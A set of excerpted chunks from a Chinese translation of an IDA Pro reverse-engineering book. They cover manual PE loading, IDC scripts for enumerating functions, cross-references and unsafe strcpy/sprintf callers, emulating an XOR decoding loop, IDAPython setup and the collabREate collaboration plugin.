时，你当然会访问大量 C++ 库，包括操作系统的本地 API。利用这些库，你可以将大量复杂的功能合并到你构建的模块中。但是，在选择以这种方式合并的功能时，你需要特别小心，因为这样做可能会使 IDA 变得不够稳定。最典型的例子是，IDA 是一款单线程应用程序，它没有做出任何努力来同步对低级数据库结构的访问，SDK 也不提供完成这类任务的工具。对于 IDA 5.5 之前的版本，你绝不能创建其他同时访问数据库的线程。对于版本 5.5及更高版本，你可以创建其他线程，但对SDK 函数的任何调用都应使用在 kernwin.hpp中介绍的 exec_request_t 和 execute_sync 函数进行排队。你应该认识到，你执行的任何阻塞操作 1 都会使IDA 停止响应，直到该操作完成。 1. 阻塞操作是使程序在等待一项操作完成时停止运行的操作。 在本章中，我们将介绍 SDK 的一些核心功能。你会发现，在创建插件、加载器模块或处理器模块时，这些功能很有用。因为我们将在后面 3 章中分别介绍这些模块，因此，在本章的例子中，我们将不介绍它们的应用。"},
    {"text": "未知 第24章 IDA 调试器 IDA 以反汇编器闻名，众所周知，它是对二进制文件执行静态分析的最佳工具之一。由于现代反静态分析技巧很复杂，人们常常将静态分析技巧与动态分析技巧结合起来，以利用它们二者的优势。在理想情况下，所有这些工具应集成在一个软件包中。IDA 在版本4.5中引入了一个调试器，从而巩固了 IDA 作为一种常用逆向工程工具的地位。在随后的版本中，IDA 的调试功能不断扩展。IDA 的最新版本能够在各种不同的平台上进行本地和远程调试，并支持许多不同的处理器。IDA 还可以配置为微软的 WinDbg调试器的前端，因而能够执行 Windows 内核调试。 在接下来的几章中，我们将介绍 IDA 调试器的基本功能，阐释如何使用调试器协助模糊代码分析，以及远程调试 Windows、Linux或OS X二进制文件。本书假定读者已经熟悉调试器的用法，但在逐步介绍 IDA 调试器的功能时，我们将复习调试器的许多基本功能。"},
    {"text": "未知 18.2 手动加载一个Windows PE文件 如果能够找到与某个文件所使用的格式有关的文档资源，那么，当你将这个文件与一个IDA数据库关联起来时，你面临的困难会大大降低。"},
    {"text": "既然无法从 IDA 获得帮助，我们求助于PE规范 1 ，该规范指出：一个有效的 PE文件应以一个有效的 MS-DOS 头部结构开头，而一个有效的MS-DOS 头部结构则以2 字节签名 4Dh 5Ah（MZ ） 开头，如代码清单 18-1 的前两行所示。"},
    {"text": "你可以采用两种方法细分MS-DOS头部的字段：为 MS-DOS 头部中的每个字段定义适当大小的数据值，或者利用 IDA 的结构体创建功能，定义和应用一个符合 PE文件规范的 IMAGE_DOS_HEADER 结构体。"},
    {"text": "使用后一种方法可以得到下面的代码段（有所修改）： seg000:00000000 dw 5A4Dh ; e_magic seg000:00000000 dw 90h ; e_cblp seg000:00000000 dw 3 ; e_cp seg000:00000000 dw 0 ; e_crlc seg000:00000000 dw 4 ; e_cparhdr seg000:00000000 dw 0 ; e_minalloc seg000:00000000 dw 0FFFFh ; e_maxalloc seg000:00000000 dw 0 ; e_ss seg000:00000000 dw 0B8h ; e_sp seg000:00000000 dw 0 ; e_csum seg000:00000000 dw 0 ; e_ip seg000:00000000 dw 0 ; e_cs seg000:00000000 dw 40h ; e_lfarlc seg000:00000000 dw 0 ; e_ovno seg000:00000000 dw 4 dup(0) ; e_res seg000:00000000 dw 0 ; e_oemid seg000:00000000 dw 0 ; e_oeminfo seg000:00000000 dw 0Ah dup(0) ; e_res2 seg000:00000000 dd 80h ➊ ; e_lfanew e_lfanew字段 （➊）的值为 80h ，表示你应该可以在数据库的偏移量为 80h （128 字节）的位置找到一个 PE头部。 分析偏移量为 80h 的位置的字节，可以确定这个PE头部的幻数 50h 45h（PE） ，并在数据库的偏移量为 80h 的位置构建并应用一个 IMAGE_NT_HEADERS 结构体（基于 PE规范）。 得到的IDA 列表的一部分如下所示： seg000:00000080 dd 4550h ; Signature seg000:00000080 dw 14Ch ➋ ; FileHeader.Machine seg000:00000080 dw 4 ➎ ; FileHeader.NumberOfSections seg000:00000080 dd 47826AB4h ; FileHeader.TimeDateStamp seg000:00000080 dd 0E00h ; FileHeader.PointerToSymbolTable seg000:00000080 dd 0FBh ; FileHeader.NumberOfSymbols seg000:00000080 dw 0E0h ; FileHeader.SizeOfOptionalHeader seg000:00000080 dw 307h ; FileHeader.Characteristics seg000:00000080 dw 10Bh ; OptionalHeader.Magic seg000:00000080 db 2 ; OptionalHeader.MajorLinkerVersion seg000:00000080 db 38h ; OptionalHeader.MinorLinkerVersion seg000:00000080 dd 600h ; OptionalHeader.SizeOfCode seg000:00000080 dd 400h ; OptionalHeader.SizeOfInitializedData seg000:00000080 dd 200h ; OptionalHeader.SizeOfUninitializedData seg000:00000080 dd 1000h ➍ ; OptionalHeader.AddressOfEntryPoint seg000:00000080 dd 1000h ; OptionalHeader.BaseOfCode seg000:00000080 dd 0 ; OptionalHeader.BaseOfData seg000:00000080 dd 400000h ➌ ; OptionalHeader.ImageBase seg000:00000080 dd 1000h ➐ ; OptionalHeader.SectionAlignment seg000:00000080 dd 200h ➏ ; OptionalHeader.FileAlignment 前面的代码和讨论与第 8 章中介绍的 MS-DOS 和PE头部结构有许多相似之处。"},
    {"text": "如果这里的机器类型是其他值，如 1C0h （ARM），那么，需要关闭数据库并重新开始分析，并确保在最初的加载对话框中选择正确的处理器类型。"},
    {"text": "图18-2 为程序指定一个新的基址 因为当一个文件以二进制模式加载时，IDA 仅创建一个段来保存整个文件，所以在当前的例子中，只有一个段存在。"},
    {"text": "AddressOfEntryPoint （➍）字段指定程序进入点的相对虚拟地址（RAV ）。 RAV 是一个相对于程序基本虚拟地址的偏移量，而程序进入点表示程序中即将执行的第一条指令的地址。 在这个例子中，进入点 RAV 1000h 表示程序将在虚拟地址 401000h （ 400000h+1000h ）处开始运行。"},
    {"text": "再次查阅 PE规范可知，在 IMAGE_NT_HEADERS 结构体后面，紧跟着一个节头部结构体数组。 这个数组中的每个元素都是 IMAGE_SECTION_HEADER 结构体，我们可以在IDA 的“结构体”窗口中定义这些结构体，并将它应用于 IMAGE_NT_HEADERS 结构体后面的字节（这里共应用了 4 次）。"},
    {"text": "在将一个可执行映像存储到文件中时，使用更小的 FileAlignment 有利于节省存储空间，而较大的 SectionAlignment 值通常对应于操作系统的虚拟内存页面大小。"},
    {"text": "对紧跟在 IMAGE_NT_HEADERS 结构体后面的字节应用一个 IMAGE_SECTION_HEADER 模板，将生成第一个节头部，并使以下数据在示例数据库中显示出来： seg000:00400178 db '.text',0,0,0 ➊; Name seg000:00400178 dd 440h ; VirtualSize seg000:00400178 dd 1000h ➌; VirtualAddress seg000:00400178 dd 600h ➍; SizeOfRawData seg000:00400178 dd 400h ➋; PointerToRawData seg000:00400178 dd 0 ; PointerToRelocations seg000:00400178 dd 0 ; PointerToLinenumbers seg000:00400178 dw 0 ; NumberOfRelocations seg000:00400178 dw 0 ; NumberOfLinenumbers seg000:00400178 dd 60000020h ; Characteristics Name （➊）字段表明这个头部描述的是 .text 节。"},
    {"text": "重新应用前面讨论的所有头部结构体后，我们返回到 .text 节的头部，注意 VirtualAddress （➌）字段（ 1000h ）是一个RAV ，它指定应加载段内容的位置的内存地址， SizeOfRawData （➍）字段（ 600h ）指出文件中有多少字节的数据。 换句话说，这个特殊的节头部告诉我们， .text 节是通过将文件偏移量 400h 与 9FFh 之间的 600h 个字节映射到虚拟地址 401000h 与 4015FFh 之间创建而成。"},
    {"text": "创建 .headers 节后，在 .headers 节的末尾部分，我们可以看到类似于下面的代码： .headers:004003FF db 0 .headers:004003FF _headers ends .headers:004003FF seg001:00400400 ; =========================================================== seg001:00400400 seg001:00400400 ; Segment type: Pure code seg001:00400400 seg001 segment byte public 'CODE' use32 seg001:00400400 assume cs:seg001 seg001:00400400 ;org 400400h seg001:00400400 assume es:_headers, ss:_headers, ds:_headers seg001:00400400 db 55h ; U 在创建 .headers 节时，IDA 拆分最初的 seg000 节，构成我们指定的 .headers 节和一个新的 seg001 节，以保存 seg000 中的剩余字节。"},
    {"text": "回到节头部，可以看到第二个节，构建成一个 IMAGE_SECTION_HEADER 结构体后，它的代码如下所示： .headers:004001A0 db '.rdata',0,0 ; Name .headers:004001A0 dd 60h ; VirtualSize .headers:004001A0 dd 2000h ; VirtualAddress .headers:004001A0 dd 200h ; SizeOfRawData .headers:004001A0 dd 0A00h ; PointerToRawData .headers:004001A0 dd 0 ; PointerToRelocations .headers:004001A0 dd 0 ; PointerToLinenumbers .headers:004001A0 dw 0 ; NumberOfRelocations .headers:004001A0 dw 0 ; NumberOfLinenumbers .headers:004001A0 dd 40000040h ; Characteristics 使用我们创建 .text 节时分析的数据字段，我们注意到，这个节名为 .rdata ，在以文件偏移量 0A00h 为起始地址的文件中占用 200h 个字节，并与 RVA 2000h （虚拟地址 402000h ）对应。"},
    {"text": "本示例指定的 .bss 节如下所示： .headers:004001C8 db '.bss',0,0,0 ; Name .headers:004001C8 dd 40h ➋ ; VirtualSize .headers:004001C8 dd 3000h ; VirtualAddress .headers:004001C8 dd 0 ➊ ; SizeOfRawData .headers:004001C8 dd 0 ; PointerToRawData .headers:004001C8 dd 0 ; PointerToRelocations .headers:004001C8 dd 0 ; PointerToLinenumbers .headers:004001C8 dw 0 ; NumberOfRelocations .headers:004001C8 dw 0 ; NumberOfLinenumbers .headers:004001C8 dd 0C0000080h ; Characteristics 其中节头部指出了该节在文件中的大小， SizeOfRawData ➊为零，而该节的 Virtual- Size ➋为 0x40 （64）字节。"},
    {"text": "要在 IDA 中创建这个节，首先需要在以地址 0x403000 开头的地址空间中创建一个间隙（因为我们没有文件内容来填充该节），然后定义 .bss 来填补这个间隙。"},
    {"text": "整个过程完成后，“段”窗口如下所示： Name Start End R W X D L Align Base Type Class .headers 00400000 00400400 ? ? ? . . byte 0000 public DATA ... .text 00401000 00401600 ? ? ? . . byte 0000 public CODE ... .rdata 00402000 00402200 ? ? ? . . byte 0000 public DATA ... .bss 00403000 00403040 ? ? ? . . byte 0000 public BSS ... .idata 00404000 00404200 ? ? ? . . byte 0000 public IMPORT ... seg005 00404200 004058DE ? ? ? . L byte 0001 public CODE ... 为了简单，我们省略了代码清单右侧部分。"},
    {"text": "下面的IDC 语句对前面代码清单中的 .text 节设置执行权限： SetSegmentAttr(0x401000, SEGATTR_PERM, 1); 遗憾的是，IDC 并没有为每一个被允许的权限定义符号常量。"},
    {"text": "一旦二进制文件与各种 IDA 节正确对应起来，我们就可以返回我们在头部中发现的程序入口点（RVA 1000h ，虚拟地址 401000h ），并要求IDA 将那个位置的字节转换为代码。"},
    {"text": "下面是一行 Python 代码，可用于实现这一目的： AddEntryPoint(0x401000, 0x401000, 'start', 1); 如果以这种方式调用该入口点，IDA 会将其命名为 start ，然后将其作为导出符号添加，在指定的地址创建代码，并启动递归下降以尽可能详细地分解相关代码。"},
    {"text": "如果一个文件以二进制模式加载，IDA 不会自动分析这个文件的内容。 此外，IDA 也不会设法确定创建该文件所使用的编译器和该文件导入的库和函数，也不会自动在数据库中加载类型库或签名信息。"},
    {"text": "代码清单 15-1 中的脚本遍历数据库中的每一个函数，并打印出每个函数的基本信息，包括函数的起始和结束地址、函数参数的大小、函数的局部变量的大小。"},
    {"text": "代码清单 15-1 函数枚举脚本 #include static main() { auto addr, end, args, locals, frame, firstArg, name, ret; addr = 0; for (addr = NextFunction(addr); addr != BADADDR; addr = NextFunction(addr)) { name = Name(addr); end = GetFunctionAttr(addr, FUNCATTR_END); locals = GetFunctionAttr(addr, FUNCATTR_FRSIZE); frame = GetFrame(addr); // retrieve a handle to the function’s stack frame ret = GetMemberOffset(frame, \" r\"); // \" r\" is the name of the return address if (ret == -1) continue; firstArg = ret + 4; args = GetStrucSize(frame) - firstArg; Message(\"Function: %s, starts at %x, ends at %x\\n\", name, addr, end); Message(\" Local variable area is %d bytes\\n\", locals); Message(\" Arguments occupy %d bytes (%d args)\\n\", args, args / 4); } } 这个脚本使用IDC 的一些结构操纵函数，以获得每个函数的栈帧的句柄（ GetFrame ），确定栈帧的大小（ GetStrucSize ），并确定栈中保存的返回地址的偏移量（ GetMemberOffset ）。"},
    {"text": "由于IDA 无法为导入的函数生成栈帧，这个脚本检查函数的栈帧中是否包含一个已保存的返回地址，以此作为一种简单的方法，确定对某个导入函数的调用。"},
    {"text": "代码清单 15-2 指令枚举脚本 #include static main() { auto func, end, count, inst; ➊ func = GetFunctionAttr(ScreenEA(), FUNCATTR_START); if (func != -1) { ➋ end = GetFunctionAttr(func, FUNCATTR_END); count = 0; inst = func; while (inst end) { count++; ➌ inst = FindCode(inst, SEARCH_DOWN | SEARCH_NEXT); } Warning(\"%s contains %d instructions\\n\", Name(func), count); } else { Warning(\"No function found at location %x\", ScreenEA()); } } 这个函数从➊处开始，它使用 GetFunctionAttr 确定包含光标地址（ ScreenEA() ）的函数的起始地址。"},
    {"text": "在我们的第一个交叉引用示例（如代码清单 15-3 所示）中，我们遍历函数中的每一条指令，确定这些指令是否调用了其他函数，从而获得该函数所做的全部函数调用。"},
    {"text": "代码清单 15-3 枚举函数调用 #include static main() { auto func, end, target, inst, name, flags, xref; flags = SEARCH_DOWN | SEARCH_NEXT; func = GetFunctionAttr(ScreenEA(), FUNCATTR_START); if (func != -1) { name = Name(func); end = GetFunctionAttr(func, FUNCATTR_END); for (inst = func; inst end; inst = FindCode(inst, flags)) { for (target = Rfirst(inst); target != BADADDR; target = Rnext(inst, target)) { xref = XrefType(); if (xref == fl_CN || xref == fl_CF) { Message(\"%s calls %s from 0x%x\\n\", name, Name(target), inst); } } } } else { Warning(\"No function found at location %x\", ScreenEA()); } } 在这个例子中，必须遍历函数中的每条指令。"},
    {"text": "由于这段脚本已经遍历了每条指令的交叉引用，因此我们不需要进行太大的更改，就可以使用这段脚本进行基于流程的分析，而不是上面的基于地址的分析。"},
    {"text": "虽然程序员可以通过仔细检查来源和目标缓冲区的大小，来达到安全使用这些函数的目的，但是，由于没有意识到这些函数的危险性，程序员往往会忽略这类检查。"},
    {"text": "例如， strcp 函数通过以下方式声明： char *strcpy(char *dest, const char *source); strcpy 函数已定义的行为是将源缓冲区中直到第一个零终止符（包括该终止符）的所有字符复制到给定的目标缓冲区（ dest ）中。"},
    {"text": "代码清单 15-4 枚举一个函数的调用方 #include static list_callers(bad_func) { auto func, addr, xref, source; ➊ func = LocByName(bad_func); if (func == BADADDR) { Warning(\"Sorry, %s not found in database\", bad_func); } else { ➋ for (addr = RfirstB(func); addr != BADADDR; addr = RnextB(func, addr)) { ➌ xref = XrefType(); ➍ if (xref == fl_CN || xref == fl_CF) { ➎ source = GetFunctionName(addr); ➏ Message(\"%s is called from 0x%x in %s\\n\", bad_func, addr, source); } } } } static main() { list_callers(\"_strcpy\"); list_callers(\"_sprintf\"); } 在这个例子中， LocByName ➊函数用于查找一个给定的（按名称）非法函数的地址。"},
    {"text": "具体来说，在ELF 可执行文件中［这种文件结合一个过程链接表（PLT ）和一个全局偏移量表（GOT）来处理共享库链接］，IDA 分配给导入函数的名称可能并不十分明确。"},
    {"text": "在尝试枚举对 memcpy 的交叉引用时，我们会对这个符号的PLT版本感兴趣，因为它是程序中其他函数调用的版本，因此也是所有交叉引用引用的版本。"},
    {"text": "15.5.4 枚举导出的函数 在第13 章中，我们讨论了使用 idsutils 生成描述共享库内容的.ids 文件。 我们提到，第一步是生成一个.idt 文件，它是包含库中每个导出函数的描述信息的文本文件。"},
    {"text": "代码清单 15-5 生成.idt 文件的脚本 #include static main() { auto entryPoints, i, ord, addr, name, purged, file, fd; file = AskFile(1, \"*.idt\", \"Select IDT save file\"); fd = fopen(file, \"w\"); entryPoints = GetEntryPointQty(); fprintf(fd, \"ALIGNMENT 4\\n\"); fprintf(fd, \"0 Name=%s\\n\", GetInputFile()); for (i = 0; i entryPoints; i++) { ord = GetEntryOrdinal(i); if (ord == 0) continue; addr = GetEntryPoint(ord); if (ord == addr) { continue; //entry point has no ordinal } name = Name(addr); fprintf(fd, \"%d Name=%s\", ord, name); purged = GetFunctionAttr(addr, FUNCATTR_ARGSIZE); if (purged > 0) { fprintf(fd, \" Pascal=%d\", purged); } fprintf(fd, \"\\n\"); } } 这个脚本的输出保存在用户指定的文件中。"},
    {"text": "15.5.5 查找和标记函数参数 调用一个函数之前，在x86 二进制文件中，3.4之后的GCC版本一直使用 mov 语句（而非 push 语句）将函数参数压入栈上。"},
    {"text": "由于 IDA 的分析引擎依靠查找 push 语句来确定函数调用中压入函数参数的位置，这给 IDA 的分析造成了一些困难（IDA 的更新版本可以更好地处理这种情况）。"},
    {"text": "下面显示的是向栈压入参数时的 IDA 反汇编代码清单： .text:08048894 push 0 ; protocol .text:08048896 push 1 ; type .text:08048898 push 2 ; domain .text:0804889A call _socket 请注意每个反汇编行右侧的注释。"},
    {"text": "如果使用 mov 语句将参数压入栈中，得到的反汇编代码清单提供的信息会更少，如下所示： .text:080487AD mov [esp+8], 0 .text:080487B5 mov [esp+4], 1 .text:080487BD mov [esp], 2 .text:080487C4 call _socket 可见，IDA 并没有认识到，在函数被调用之前，有3 个 mov 语句被用于为函数调用设置参数。"},
    {"text": "代码清单 15-6 参数自动识别 #include static main() { auto addr, op, end, idx; auto func_flags, type, val, search; search = SEARCH_DOWN | SEARCH_NEXT; addr = GetFunctionAttr(ScreenEA(), FUNCATTR_START); func_flags = GetFunctionFlags(addr); if (func_flags & FUNC_FRAME) { //Is this an ebp-based frame? end = GetFunctionAttr(addr, FUNCATTR_END); for (; addr end && addr != BADADDR; addr = FindCode(addr, search)) { type = GetOpType(addr, 0); if (type == 3) { //Is this a register indirect operand? if (GetOperandValue(addr, 0) == 4) { //Is the register esp? MakeComm(addr, \"arg_0\"); //[esp] equates to arg_0 } } else if (type == 4) { //Is this a register + displacement operand? idx = strstr(GetOpnd(addr, 0), \"[esp\"); //Is the register esp? if (idx != -1) { val = GetOperandValue(addr, 0); //get the displacement MakeComm(addr, form(\"arg_%d\", val)); //add a comment } } } } } 这个脚本仅针对基于 EBP 的帧，并依赖于此：在函数被调用之前，当参数被压入栈中时，GCC会生成与 esp 相应的内存引用。"},
    {"text": "对于每一条使用 esp 作为基址寄存器向内存位置写入数据的指令，该脚本确定上述内存位置在栈中的深度，并添加一条注释，指出被压入的是哪一个参数。"},
    {"text": "运行代码清单 15-6 中的脚本，将得到一个包含注释的反汇编代码清单，如下所示： .text:080487AD mov [esp+8], 0 ; arg_8 .text:080487B5 mov [esp+4], 1 ; arg_4 .text:080487BD mov [esp], 2 ; arg_0 .text:080487C4 call _socket 这里的注释并没有提供特别有用的信息。"},
    {"text": "这个新脚本的最终输出如下所示： .text:080487AD mov [esp+8], 0 ; int protocol .text:080487B5 mov [esp+4], 1 ; int type .text:080487BD mov [esp], 2 ; int domain .text:080487C4 call _socket 代码清单 15-6 中的脚本的扩充版本请参见与本书有关的网站 1 ，该脚本能够将函数签名中的数据合并到注释中。"},
    {"text": ".text:08049EDE mov [ebp+var_4], 0 .text:08049EE5 .text:08049EE5 loc_8049EE5: .text:08049EE5 cmp [ebp+var_4], 3C1h .text:08049EEC ja short locret_8049F0D .text:08049EEE mov edx, [ebp+var_4] .text:08049EF1 add edx, 804B880h .text:08049EF7 mov eax, [ebp+var_4] .text:08049EFA add eax, 804B880h .text:08049EFF mov al, [eax] .text:08049F01 xor eax, 4Bh .text:08049F04 mov [edx], al .text:08049F06 lea eax, [ebp+var_4] .text:08049F09 inc dword ptr [eax] .text:08049F0B jmp short loc_8049EE5 这段代码用于解码一个植入到程序二进制文件中的私钥。"},
    {"text": "代码清单 15-7 使用 IDC 模拟汇编语言 auto var_4, edx, eax, al; var_4 = 0; while (var_4 = 0x3C1) { edx = var_4; edx = edx + 0x804B880; eax = var_4; eax = eax + 0x804B880; al = Byte(eax); al = al ^ 0x4B; PatchByte(edx, al); var_4++; } 代码清单 15-7 只是对前面汇编语言代码（根据以下相当机械化的规则生成）的直接转换。"},
    {"text": "为汇编代码中的每一个栈变量和寄存器声明一个 IDC 变量。 为每一个汇编语言语句编写一个模拟其行为的 IDC 语句。 通过读取和写入在 IDC 脚本中声明的对应变量，模拟读取和写入栈变量。"},
    {"text": "根据被读取数据的数量（1 字节、2 字节或4 字节），使用 Byte 、 Word 或 Dword 函数从一个非栈位置读取数据。 根据被写入数据的数量，使用 PatchByte 、 PatchWord 或 PatchDword 函数向一个非栈位置写入数据。"},
    {"text": "通常，如果代码中包含一个终止条件不十分明确的循环，那么，模拟程序行为的最简单方法是首先使用一个无限循环（如 while(1) {} ），然后在遇到使循环终止的语句时插入一个 break 语句。"},
    {"text": "了解上面示例中算法的工作机制后，我们可以将那个 IDC 脚本缩短成下面的脚本： auto var_4, addr; for (var_4 = 0; var_4 = 0x3C1; var_4++) { addr = 0x804B880 + var_4; PatchByte(addr, Byte(addr) ^ 0x4B); } 另外，如果不希望以任何方式修改数据库，在处理 ASCII 数据时，我们可以用 Message 函数代替 PatchByte 函数，或者在处理二进制数据时，将数据写入到一个文件中。"},
    {"text": "未知 25.6 小结 除查明软件 bug 这个明显的用途外，调试器还是一个高效的逆向工程工具。在恶意软件和模糊代码分析过程中，如果一个应用程序既可用于静态分析，又可用于动态分析，这可以为我们节省宝贵的时间，而且我们也不需要付出太大努力，就可以使用一款工具生成可由另一款工具分析的数据。当前有大量不同形式的调试器，IDA 的调试器可能不是你跟踪应用程序中的运行时问题的最佳选择。但是，如果你需要对应用程序进行逆向工程分析，或者只是希望在调试过程中获得一个高质量的反汇编代码清单，IDA 的调试器完全能够满足你的需要。在第 26 章中，我们将讨论IDA 调试器的高级功能，包括远程调试以及它在 Linux和OS X平台上的调试功能。 未知 9.3 小结 图形是一种强大的工具，可帮助你分析任何二进制文件。如果你习惯于查看纯文本格式的反汇编代码清单，可能需要一段时间适应，以使用图形视图。在 IDA 中，文本模式提供的所有信息在图形模式下仍然有效。不过，它们的格式可能稍有不同。例如，在图形视图中，交叉引用变成了连接基本块的边。 选择合适的图形对于使用图形分析过程的优化非常重要。如果你希望知道如何转至某个函数，你可能会对函数调用或交叉引用图感兴趣。如果你想知道如何转至某条指令，你会对控制流图形更感兴趣。 过去，用户在使用 IDA 的绘图功能时会遇到一些困难，这主要是 wingraph32 应用程序及其相关图形缺乏灵活性所致。自 IDA 引入集成化反汇编图形模式后，这些困难有一部分得到了解决。但是，IDA 主要是一个反汇编器，生成图形并不是它的主要用途。对专用的图形分析工具感兴趣的读者可以研究专门用于此类目的的应用程序，如 BinNavi 1 ，这款工具是 Halvar Flake的公司Zynamics 2 开发的。 1. 参见 http://www.zynamics.com/=binnavi.html 。 2. 2011 年3 月Google 收购了Zynamics 。 未知 献词 谨以此书献给我的母亲。"},
    {"text": "未知 15.6 IDAPython IDAPython 是由 Gergely Erdelyi 开发的一种插件，它在 IDA 中集成了 Python 解释器。除提供Python 的功能外，使用这个插件还可以编写出能够实现IDC 脚本语言所有功能的 Python 脚本。IDAPython 的一个显著优势在于，它可以访问 Python 的数据处理功能以及所有 Python 模块。此外，IDAPython 还具有IDA SDK的大部分功能，与使用 IDC 相比，使用它可以编写出功能更加强大的脚本。在 IDA 社区中，IDAPython 拥有众多支持者。Ilfak 的博客 1 中包括大量使用 Python脚本解决的有趣问题，同时相关问题、答案和许多其他有用的 IDAPython 脚本也经常发布在OpenRCE.org 论坛 2 中。此外，一些第三方工具（如Zynamics 的BinNavi 3 ）也依靠 IDA 和IDAPython执行各种所需的子任务。 1. 参见 http://www.hexblog.com 。 2. 参见 http://www.openrce.org/articles/ 。 3. 参见 http://www.zynamics.com/binnavi.html 。 从IDA 5.4 以来，Hex-Rays 一直将IDAPython 作为IDA 的标准插件。该插件的源代码可从IDA-Python 的项目页面下载 4 ，而 API 文档则位于 Hex-Rays 网站 5 上。只有在运行 IDA 的计算机安装了Python 的情况下，IDA 才会启用该插件。Windows 版本的IDA 附带并安装有兼容版本的Python 6 ，而Linux和OS X版本的IDA 需要你自行安装 Python 。在 Linux中，当前版本的 IDA（6.1）使用的是 Python 2.6。IDAPython 与Python 2.7兼容，如果创建由所需的 Python 2.6库指向你现有的 Python 2.7库的符号链接， IDA 将正常运行。如果你拥有 Python 2.7，使用与下面类似的命令可创建 IDA 所需的符号链接： 4. 参见 http://code.google.com/p/idapython/ 。 5. 参见 http://www.hex-rays.com/idapro/idapython_docs/index.html 。 6. 参见 http://www.python.org/ 。 # ln –s /usr/lib/libpython2.7.so.1.0 /usr/lib/libpython2.6.so.1 OS X用户可能会发现，OS X附带的Python 版本要低于 IDA 所需的版本。如果出现这种情况，则需要从 www.python.org 下载适当的 Python 安装程序 7 。 7. 参见 http://www.python.org/download/mac/ 。 使用IDAPython IDAPython 通过 3 个Python 模块（每个模块服务于特定的用途）将Python 代码注入到 IDA 中。 idaapi 模块负责访问核心 IDA API（如通过 SDK 揭示的那样）。IDAPython 的 idc 模块负责提供 IDC中的所有函数功能。IDAPython 附带的第三个模块为 idautils ，它提供大量实用函数，其中许多函数可生成各种数据库相关对象（如函数或交叉引用）的Python 列表。所有 IDAPython 脚本会自动导入 idc 和 idautils 模块。另一方面，如果你需要 idaapi 模块，你必须自己导入该模块。 在使用IDAPython 时，请记住该插件将一个 Python 解释器实例嵌入到 IDA 中。在关闭 IDA之前，该解释器将正常运行。因此，你可以查看所有脚本和语句，就好像它们在 Python shell会话中运行一样。例如，在 IDA 会话中首次导入 idaapi 模块后，在重新启动 IDA 之前，你根本不需要再次导入该模块。同样，已初始化的变量和函数定义将保留它们的值，直到被重新定义，或直到你退出 IDA 。 有大量方法可帮助你学习 IDA 的Python API 。如果你在使用 IDC 或使用IDA SDK 编程方面已经具有一些经验，那么你应该相当熟悉 idaapi 与 idc 模块。在这种情况下，在开始充分利用IDAPython 之前，你只需要简单回顾 idautils 模块的其他功能。如果之前有过使用 IDC 或SDK的经验，那么你可以研究 Hex-Ray 有关Python API 的文档，深入了解它的功能。请记住， idc 模块基本上是 IDC API 的写照，因此，你会发现，IDA 内置帮助文档中的 IDC 函数列表将非常有用。同样，本章前面的 IDC 函数说明也适用于 idc 模块中的对应函数。 未知 19.8 小结 处理器模块是 IDA 模块化扩展中最复杂的模块，我们需要一段时间学习，还要花更多时间构建它。但是，如果你处在逆向工程的有利市场，或者希望在逆向工程社区取得领先地位，那么你肯定需要开发一个处理器模块。需要特别强调的是，在开发处理器时，耐心和反复试验是你取得成功的重要因素。如果你能够将你开发的处理器模块应用于你收集到的每一个新的二进制文件，你的努力工作就会获得巨大的回报。 在本章最后，我们结束了关于 IDA 可扩展功能的讨论。在接下来的几章中，我们将讨论IDA在实际应用程序中的许多用法并看一下用户如何使用 IDA 扩展执行各种有趣的分析任务"},
    {"text": "未知 23.3 collabREate collabREate 插件（如表23-3 所示）促进分析同一二进制文件的多个用户之间的协作。collabREate 项目的目标是为代表同步客户端的插件组件与 SQL 数据库支持的、具有除简单数据库同步以外的支持功能的强大服务器组件提供自然集成。 表23-3 collabkEate插件 名称 collabREate 作者 Chris Eagle和Tim Vidas 发布 C++源代码和二进制（包括IDA 免费版本） 价格 免费 描述 提供同步远程IDA 会话的协作框架 信息 http://www.idabook.com/collabreate 从宏观角度看，collabREate 与IDA Sync 项目 1 非常相似。collabREate 插件处理数据库更新，并与一台远程服务器组件通信，从而与其他项目成员同步数据库更新。由于 IDA 是一个单线程应用程序，因而需要某种用于处理异步非阻塞网络通信的机制。在 6.0之前的IDA 版本中，异步通信组件派生自 IDA Sync使用的Windows 异步套接字技术，但是随着 IDA 6.0 的推出，现在异步通信使用 Qt 套接字类进行处理，因此我们可以在所有支持 IDA 的平台上使用 collabREate 。 1. 参见 http://pedram.redhive.com/code/ida-plugins/ida-sync/ 。 collabREate 采用一种集成的方法，利用 IDA 的进程和 IDB 事件通知机制来捕获用户操作。collabREate 通过“钩住”各种数据库变更通知，将数据库更新无缝传播到 collabREate 服务器。IDA 生成的变更通知的类型和数量随着每个 IDA 版本的发布而不断增长，同时 collabREate 设法为其所构建的 IDA 版本“钩住”尽可能多的有用通知。使用collabREate 的一个有趣的“副作用”在于，它允许使用截然不同的 IDA 版本（如 5.2和6.0）的用户同步他们的活动，即使这些用户无法彼此交换.idb 文件。 2 collabREate 体系结构为参与的用户提供真正的发布和订阅功能。用户可以选择将他的更改发布给 collabREate 服务器，或订阅提交给服务器的更改，或者同时发布和订阅。例如，一名有经验的用户可能希望与一组用户共享（发布）他的更改，但阻止（不订阅）其他用户作出的所有更改。用户可以选择他们希望发布和订阅的操作的类别，如字节值更改、名称更改以及添加或删除注释。例如，一名用户可能仅仅希望发布注释，而另一个用户则只想要订阅名称更改和字节修补通知。 2. 通常，早期IDA 版本无法打开使用较新IDA 版本创建的.idb 文件。 collabREate 插件最重要的特性之一在于它与 IDA SDK的高度集成。IDA 通知与特定的数据库操作（而非特定的用户操作）密切相关。当然，如果用户操作触发了 IDA 通知，这会给协作过程造成重大影响。但是，通知也可以通过其他方法触发。脚本和API 函数调用也可以生成通知消息。因此，修补数据库字节、重命名位置或变量或者插入新注释的一段 IDC 脚本的操作，将发布到collabREate 服务器，并最终与在同一个项目上工作的其他 IDA 用户共享。 当前，collabREate 的服务器组件在 Java 中运行，并使用 JDBC 3 与后端 SQL 数据库通信。该服务器负责用户和项目管理。用户账户通过服务器的一个命令行界面进行管理，而项目则由连接到服务器的用户创建。经过服务器的验证后，用户的 collabREate 插件将向服务器发送用户分析的输入文件的 MD5散列。这个 MD5值用于确保多名用户实际上在处理完全相同的输入文件。连接服务器后，用户将说明他希望订阅的更新的类型，这时，服务器将向用户转交自用户上次会话以来它缓存的所有更新。collabREate 的“项目选择”对话框如图 23-2 所示。 3. JDBC 为Java 数据库互通API。 图23-2 collabREate 的“项目选择”对话框 在这个对话框中，用户将看到一个与当前数据库兼容的项目下拉列表。另外，你还可以创建一个新的项目，需要用户输入一段方便其他用户查看的项目说明。 collabREate 